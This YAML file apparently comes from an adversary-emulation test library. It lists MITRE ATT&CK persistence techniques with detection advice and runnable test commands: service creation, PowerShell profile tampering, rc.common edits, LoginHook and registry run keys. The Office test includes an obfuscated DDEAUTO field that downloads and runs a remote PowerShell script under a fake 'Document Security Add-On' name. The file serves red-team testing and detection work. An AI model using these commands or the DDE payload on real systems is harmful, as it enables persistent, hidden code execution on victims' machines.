monitoring + - Process command-line parameters + - Windows event logs + name: New Service + description: "When operating systems boot up, they can start programs or applications + called services that perform background system functions. (Citation: TechNet + Services) A service's configuration information, including the file path to + the service's executable, is stored in the Windows Registry. \n\nAdversaries + may install a new service that can be configured to execute at startup by + using utilities to interact with services or by directly modifying the Registry. + The service name may be disguised by using a name from a related operating + system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). + Services may be created with administrator privileges but are executed under + SYSTEM privileges, so an adversary may also use a service to escalate privileges + from administrator to SYSTEM. Adversaries may also directly start services + through [Service Execution](https://attack.mitre.org/techniques/T1035)." + id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Pedro Harrison + created: '2017-05-31T21:30:45.613Z' + x_mitre_effective_permissions: + - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1050 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1050 + - source_name: capec + external_id: CAPEC-550 + url: https://capec.mitre.org/data/definitions/550.html + - source_name: TechNet Services + description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. + url: https://technet.microsoft.com/en-us/library/cc772408.aspx + - source_name: Microsoft 4697 APR 2017 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service + was installed in the system. Retrieved August 7, 2018.' + url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 + - source_name: Microsoft Windows Event Forwarding FEB 2018 + description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding + to help with intrusion detection. Retrieved August 7, 2018. + url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-18T16:43:25.906Z' + identifier: T1050 + atomic_tests: + - name: Service Installation + description: | + Installs A Local Service. + + Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. + supported_platforms: + - windows + input_arguments: + binary_path: + description: Name of the service binary, include path. + type: Path + default: PathToAtomicsFolder\T1050\bin\AtomicService.exe + service_name: + description: Name of the Service + type: String + default: AtomicTestService + dependency_executor_name: powershell + dependencies: + - description: Service binary must exist on disk at specified location (#{binary_path}) + prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1050/bin/AtomicService.exe" -OutFile "#{binary_path}" + executor: + name: command_prompt + elevation_required: true + command: | + sc.exe create #{service_name} binPath= #{binary_path} + sc.exe start #{service_name} + cleanup_command: | + sc.exe stop #{service_name} + sc.exe delete #{service_name} + - name: Service Installation PowerShell + description: | + Installs A Local Service via PowerShell. + + Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will output via stdout. + supported_platforms: + - windows + input_arguments: + binary_path: + description: Name of the service binary, include path. + type: Path + default: PathToAtomicsFolder\T1050\bin\AtomicService.exe + service_name: + description: Name of the Service + type: String + default: AtomicTestService + dependency_executor_name: powershell + dependencies: + - description: Service binary must exist on disk at specified location (#{binary_path}) + prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1050/bin/AtomicService.exe" -OutFile "#{binary_path}" + executor: + name: powershell + elevation_required: true + command: | + New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}" 2>&1 | Out-Null + Start-Service -Name "#{service_name}" + cleanup_command: |- + Stop-Service -Name "#{service_name}" 2>&1 | Out-Null + try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()} + catch {} + T1137: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + - Windows Registry + - File monitoring + x_mitre_permissions_required: + - User + - Administrator + name: Office Application Startup + description: "Microsoft Office is a fairly common application suite on Windows-based + operating systems within an enterprise network. There are multiple mechanisms + that can be used with Office for persistence when an Office-based application + is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates + that are part of common Office applications and are used to customize styles. + The base templates within the application are used each time an application + starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic + for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted + into the base template and used to execute code when the respective Office + application starts in order to obtain persistence. Examples for both Word + and Excel have been discovered and published. By default, Word has a Normal.dotm + template created that can be modified to include a malicious macro. Excel + does not have a template file created by default, but one can be added that + will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn + Office Template Macros) Shared templates may also be stored and pulled from + remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel + Personal.xlsb location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries + may also change the location of the base template to point to their own by + hijacking the application's search order, e.g. Word 2016 will first look for + Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, + or by modifying the GlobalDotName registry key. By modifying the GlobalDotName + registry key an adversary can specify an arbitrary location, file name, and + file extension to use for the template that will be loaded on application + startup. To abuse GlobalDotName, adversaries may first need to register the + template as a trusted document or place it in a trusted location.(Citation: + GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute + unrestricted depending on the system or enterprise security policy on use + of macros.\n\n### Office Test\n\nA Registry location was found that when a + DLL reference was placed within it the corresponding DLL pointed to by the + binary path would be executed every time an Office application is started + (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office + test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to + add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins + can also be used to obtain persistence because they can be set to execute + code when an Office application starts. There are different types of add-ins + that can be used by the various Office products; including Word/Excel add-in + Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, + automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) + add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: + FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety + of features have been discovered in Outlook that can be abused to obtain persistence, + such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) + These persistence mechanisms can work within Outlook or be used through Office + 365.(Citation: TechNet O365 Outlook Rules)\n\nOutlook rules allow a user to + define automated behavior to manage email messages. A benign rule might, for + example, automatically move an email to a particular folder in Outlook if + it contains specific words from a specific sender. Malicious Outlook rules + can be created that can trigger code execution when an adversary sends a specifically + crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook + forms are used as templates for presentation and functionality in Outlook + messages. Custom Outlook Forms can be created that will execute code when + a specifically crafted email is sent by an adversary utilizing the same custom + Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a + legacy feature used to customize the presentation of Outlook folders. This + feature allows for an internal or external URL to be loaded and presented + whenever a folder is opened. A malicious HTML page can be crafted that will + execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook + Home Page)\n\nTo abuse these features, an adversary requires prior access + to the user’s Outlook mailbox, either via an Exchange/OWA server or via the + client application. Once malicious rules, forms, or Home Pages have been added + to the user’s mailbox, they will be loaded when Outlook is started. Malicious + Home Pages will execute when the right Outlook folder is loaded/reloaded while + malicious rules and forms will execute when an adversary sends a specifically + crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: + SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)" + id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53 + x_mitre_platforms: + - Windows + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + x_mitre_system_requirements: + - |- + Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 + Add-ins: some require administrator permissions + type: attack-pattern + x_mitre_detection: |- + Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019) + + Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) + + Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. + + For the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + - Sahar Shukrun + - Praetorian + - Nick Carr, FireEye + - Loic Jaquemet + - Ricardo Dias + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1137 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1137 + - source_name: Microsoft Change Normal Template + description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). + Retrieved July 3, 2017. + url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea + - source_name: MSDN VBA in Office + description: Austin, J. (2017, June 6). Getting Started with VBA in Office. + Retrieved July 3, 2017. + url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office + - source_name: enigma0x3 normal.dotm + description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. + Retrieved July 3, 2017. + url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ + - source_name: Hexacorn Office Template Macros + description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. + Retrieved July 3, 2017. + url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ + - description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName + - A Stealthy Office Persistence Technique. Retrieved August 26, 2019. + source_name: GlobalDotName Jun 2019 + url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique + - source_name: Hexacorn Office Test + description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. + Retrieved July 3, 2017. + url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ + - source_name: Microsoft Office Add-ins + description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017. + url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 + - source_name: MRWLabs Office Persistence Add-ins + description: Knowles, W. (2017, April 21). Add-In Opportunities for Office + Persistence. Retrieved July 3, 2017. + url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ + - description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! + Enterprise Email Compromise. Retrieved April 22, 2019. + source_name: FireEye Mail CDS 2018 + url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf + - description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange + services. Retrieved February 4, 2019.' + source_name: SensePost Ruler GitHub + url: https://github.com/sensepost/ruler + - description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved + February 4, 2019. + source_name: SilentBreak Outlook Rules + url: https://silentbreaksecurity.com/malicious-outlook-rules/ + - description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved + February 4, 2019. + source_name: SensePost Outlook Forms + url: https://sensepost.com/blog/2017/outlook-forms-and-shells/ + - description: Stalmans, E. (2017, October 11). Outlook Home Page – Another + Ruler Vector. Retrieved February 4, 2019. + source_name: SensePost Outlook Home Page + url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ + - description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral + Movement and Persistence. Retrieved February 5, 2019. + source_name: CrowdStrike Outlook Forms + url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 + - description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence. + Retrieved February 5, 2019. + source_name: Outlook Today Home Page + url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 + - description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook + Rules and Custom Forms Injections Attacks in Office 365. Retrieved February + 4, 2019. + source_name: Microsoft Detect Outlook Forms + url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack + - description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, + provides blue teams with the ability to detect Ruler usage against Exchange. + Retrieved February 4, 2019. + source_name: SensePost NotRuler + url: https://github.com/sensepost/notruler + modified: '2019-10-08T21:10:31.591Z' + identifier: T1137 + atomic_tests: + - name: DDEAUTO + description: |2 + + TrustedSec - Unicorn - https://github.com/trustedsec/unicorn + + SensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ + + Word VBA Macro + + [Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail) + supported_platforms: + - windows + executor: + name: manual + steps: | + 1. Open Word + + 2. Insert tab -> Quick Parts -> Field + + 3. Choose = (Formula) and click ok. + + 4. Once the field is inserted, you should now see "!Unexpected End of Formula" + + 5. Right-click the Field, choose "Toggle Field Codes" + + 6. Paste in the code from Unicorn or SensePost + + 7. Save the Word document. + + 9. DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" + + 10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # " "Microsoft Document Security Add-On" + T1150: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Plist Modification + description: "Property list (plist) files contain all of the information that + macOS and OS X uses to configure applications and services. These files are + UTF-8 encoded and formatted like XML documents via a series of keys surrounded + by < >. They detail when programs should execute, file paths to the executables, + program arguments, required OS permissions, and many others. plists are located + in certain locations depending on their purpose such as /Library/Preferences + (which execute with elevated privileges) and ~/Library/Preferences + (which execute with a user's privileges). \nAdversaries can modify these plist + files to point to their own code, can use them to execute their code in the + context of another user, bypass whitelisting procedures, or even use them + as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T11:58:11.559Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1150 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1150 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path + identifier: T1150 + atomic_tests: + - name: Plist Modification + description: 'Modify MacOS plist file in one of two directories + + ' + supported_platforms: + - macos + executor: + name: manual + steps: | + 1. Modify a .plist in + + /Library/Preferences + + OR + + ~/Library/Preferences + + 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) + T1504: + technique: + x_mitre_data_sources: + - Process monitoring + - File monitoring + - PowerShell logs + x_mitre_permissions_required: + - User + - Administrator + name: PowerShell Profile + description: "Adversaries may gain persistence and elevate privileges in certain + situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) + profiles. A PowerShell profile (profile.ps1) is a script that + runs when PowerShell starts and can be used as a logon script to customize + user environments. PowerShell supports several profiles depending on the user + or host program. For example, there can be different profiles for PowerShell + host programs such as the PowerShell console, PowerShell ISE or Visual Studio + Code. An administrator can also configure a profile that applies to all users + and host programs on the local computer. (Citation: Microsoft About Profiles) + \n\nAdversaries may modify these profiles to include arbitrary commands, functions, + modules, and/or PowerShell drives to gain persistence. Every time a user opens + a PowerShell session the modified script will be executed unless the -NoProfile + flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) + \n\nAn adversary may also be able to escalate privileges if a script in a + PowerShell profile is loaded and executed by an account with higher privileges, + such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" + id: attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include: + + * $PsHome\Profile.ps1 + * $PsHome\Microsoft.{HostProgram}_profile.ps1 + * $Home\My Documents\PowerShell\Profile.ps1 + * $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1 + + Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Allen DeRyke, ICE + created: '2019-06-14T18:53:49.472Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - source_name: mitre-attack + external_id: T1504 + url: https://attack.mitre.org/techniques/T1504 + - description: Microsoft. (2017, November 29). About Profiles. Retrieved June + 14, 2019. + source_name: Microsoft About Profiles + url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6 + - description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell + usage. Retrieved June 14, 2019. + source_name: ESET Turla PowerShell May 2019 + url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ + - description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege + Elevation using the Powershell Profile. Retrieved July 8, 2019.' + source_name: Wits End and Shady PowerShell Profiles + url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html + - source_name: Malware Archaeology PowerShell Cheat Sheet + description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING + CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. + url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf + modified: '2019-07-19T14:46:24.213Z' + identifier: T1504 + atomic_tests: + - name: Append malicious start-process cmdlet + description: 'Appends a start process cmdlet to the current user''s powershell + profile pofile that points to a malicious executable + + ' + supported_platforms: + - windows + input_arguments: + exe_path: + description: Path the malicious executable + type: Path + default: calc.exe + ps_profile: + description: Powershell profile to use + type: String + default: "$profile" + executor: + name: powershell + elevation_required: false + command: | + if(Test-Path #{ps_profile}){ + } + else{ + New-Item -Path #{ps_profile} -Type File -Force + } + $malicious = "Start-Process #{exe_path}" + Add-Content #{ps_profile} -Value $malicious + powershell -command exit + cleanup_command: |- + $oldprofile = cat $profile | Select-Object -skiplast 1 + Set-Content $profile -Value $oldprofile + T1163: + technique: + x_mitre_permissions_required: + - root + x_mitre_data_sources: + - File monitoring + - Process monitoring + name: Rc.common + description: |- + During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used. + + Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence). + id: attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: The /etc/rc.common file can be monitored to + detect changes from the company policy. Monitor process execution resulting + from the rc.common script for unusual or unknown applications or behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1163 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1163 + - source_name: Startup Items + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-07-18T17:28:22.742Z' + identifier: T1163 + atomic_tests: + - name: rc.common + description: | + Modify rc.common + + [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html) + supported_platforms: + - macos + executor: + name: sh + command: 'echo osascript -e ''tell app "Finder" to display dialog "Hello World"'' + >> /etc/rc.common + + ' + T1164: + technique: + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - File monitoring + name: Re-opened Applications + description: "Starting in Mac OS X 10.7 (Lion), users can specify certain applications + to be re-opened when a user reboots their machine. While this is usually done + via a Graphical User Interface (GUI) on an app-by-app basis, there are property + list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist + and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. + \n\nAn adversary can modify one of these files directly to include a link + to their malicious executable to provide a persistence mechanism each time + the user reboots their machine (Citation: Methods of Mac Malware Persistence)." + id: attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Monitoring the specific plist files associated with reopening + applications can indicate when an application has registered itself to be + reopened. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1164 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1164 + - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + source_name: Methods of Mac Malware Persistence + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-06-25T11:28:26.938Z' + identifier: T1164 + atomic_tests: + - name: Re-Opened Applications + description: | + Plist Method + + [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html) + supported_platforms: + - macos + executor: + name: manual + steps: | + 1. create a custom plist: + + ~/Library/Preferences/com.apple.loginwindow.plist + + or + + ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist + - name: Re-Opened Applications + description: | + Mac Defaults + + [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html) + supported_platforms: + - macos + input_arguments: + script: + description: path to script + type: path + default: "/path/to/script" + executor: + name: sh + command: | + sudo defaults write com.apple.loginwindow LoginHook #{script} + sudo defaults delete com.apple.loginwindow LoginHook + T1060: + technique: + x_mitre_data_sources: + - Windows Registry + - File monitoring + x_mitre_permissions_required: + - User + - Administrator + name: Registry Run Keys / Startup Folder + description: |- + Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. + + The following run keys are created by default on Windows systems: + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce + + The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018) + + The following Registry keys can be used to set startup folder items for persistence: + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders + * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders + * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders + + The following Registry keys can control automatic startup of services during boot: + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices + + Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + + The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs. + + Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on. + + By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. + + + Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. 